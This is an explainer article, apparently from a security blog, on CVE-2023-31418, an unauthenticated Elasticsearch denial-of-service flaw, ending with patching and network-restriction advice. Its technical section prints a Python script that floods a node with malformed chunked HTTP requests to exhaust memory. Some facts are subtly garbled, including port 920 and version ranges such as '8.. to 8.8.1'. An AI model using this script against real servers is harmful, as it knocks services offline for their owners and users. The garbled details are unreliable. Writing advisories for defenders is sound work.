A critical vulnerability, tracked as CVE-2023-31418, was discovered in Elasticsearch that could let a remote attacker take down an Elasticsearch instance without authentication. It doesn’t leak data or gain privileges, but it’s dangerous because it can cause your Elasticsearch node to crash with an OutOfMemory (OOM) error – even with just a moderate number of malicious HTTP requests.

This article will explain in simple terms how this issue works, show examples, and give you a step-by-step breakdown so you can protect your Elasticsearch deployment.

What Is CVE-2023-31418?

Elasticsearch is a widely-used search and analytics engine. Under the hood, it exposes a RESTful API over HTTP, allowing users (and attackers) to send all sorts of requests.

The problem identified by Elastic Engineering is pretty subtle, but it’s a classic type of Denial of Service (DoS):

- An unauthenticated user can send a relatively small number of specially-crafted, malformed HTTP requests.

Each request forces Elasticsearch to allocate memory unnecessarily.

- After enough requests, the Java process eventually hits the memory limit and crashes with an OutOfMemory error.

This means you don’t need to have a user account or access token; you just need the right network access to the node.

Who Discovered It? Any Attacks?

This issue was found by Elastic’s own engineers. According to Elastic:
> “We have no indication that the issue is known or that it is being exploited in the wild.”

This doesn’t mean it’s not dangerous: as soon as the patch and technical details are public, the risk of real-world attacks increases quickly.

Reference:
- Elastic security advisory: ESA-2023-19 (CVE-2023-31418)
- NVD entry: NVD - CVE-2023-31418

How The Exploit Works (Technical Deep Dive)

Let’s break down the vulnerability step-by-step.

What Causes the OOM?

Elasticsearch's HTTP layer fails to properly handle malformed requests. When certain parts of the HTTP request are wrong (for example, invalid headers, weird chunked encoding, or bad formatting), Elasticsearch tries to process the payload as if it were valid.

In trying to parse (and potentially buffer) unparseable data, it keeps allocating memory. Worse, it might not limit the resources for such requests.

Example: Malformed Request

Here’s a Python script that demonstrates how to send a malformed HTTP request to Elasticsearch. This is just an educational reference—using this for any unauthorized purposes is illegal and unethical.

import socket

# Change these as necessary
ES_HOST = 'localhost'
ES_PORT = 920
NUM_REQUESTS = 100  # Sometimes even less is needed

# Example: Sending malformed HTTP requests with invalid chunked encoding
BAD_REQUEST = (
    "POST /_search HTTP/1.1\r\n"
    "Host: {}\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Type: application/json\r\n"
    "\r\n"
    "zzz\r\n"        # Invalid chunk size
    "{{badjson:}}\r\n"
    "\r\n\r\n"
).format(ES_HOST)

def send_bad_requests(host, port, num):
    for _ in range(num):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect((host, port))
            sock.sendall(BAD_REQUEST.encode())
            sock.close()
        except Exception as e:
            print(f"Error: {e}")

send_bad_requests(ES_HOST, ES_PORT, NUM_REQUESTS)

This script can quickly fill Elasticsearch’s memory as the server tries and fails to process each malformed request.

What Does It Look Like When Exploited?

When attacked, your Elasticsearch node’s logs may show repeated parsing or unexpected error messages, and then eventually throw an error like:

java.lang.OutOfMemoryError: Java heap space

After that, the process restarts or stops. If the process is not managed (no process supervisor), your search service will be down until you intervene.

How Do You Fix It?

Elastic has provided updates that patch this issue. If you run Elasticsearch 7.16. to 7.17.10, or 8.. to 8.8.1, you are affected.

Update Elasticsearch to 7.17.11 or 8.8.2 (or later) immediately.

- Restrict network access to your Elasticsearch nodes. Never expose them to the public Internet if you can help it!
- Use reverse proxies and firewalls to filter unusual or malformed traffic if you can’t update right away.

You can get the fixed versions and read Elastic’s official advisory here.

Extra Resources

- Elastic Security Advisory: ESA-2023-19
- Official Release Notes
- NIST NVD Summary for CVE-2023-31418

Conclusion

CVE-2023-31418 serves as a reminder: just a few lines of malformed HTTP traffic can take down even hardened, enterprise-grade software like Elasticsearch. Protect yourself by staying up to date and by guarding your network perimeter.

If you use Elasticsearch, review your version today and patch right away.

Timeline

Published on: 10/26/2023 18:15:08 UTC
Last modified on: 11/06/2023 18:36:24 UTC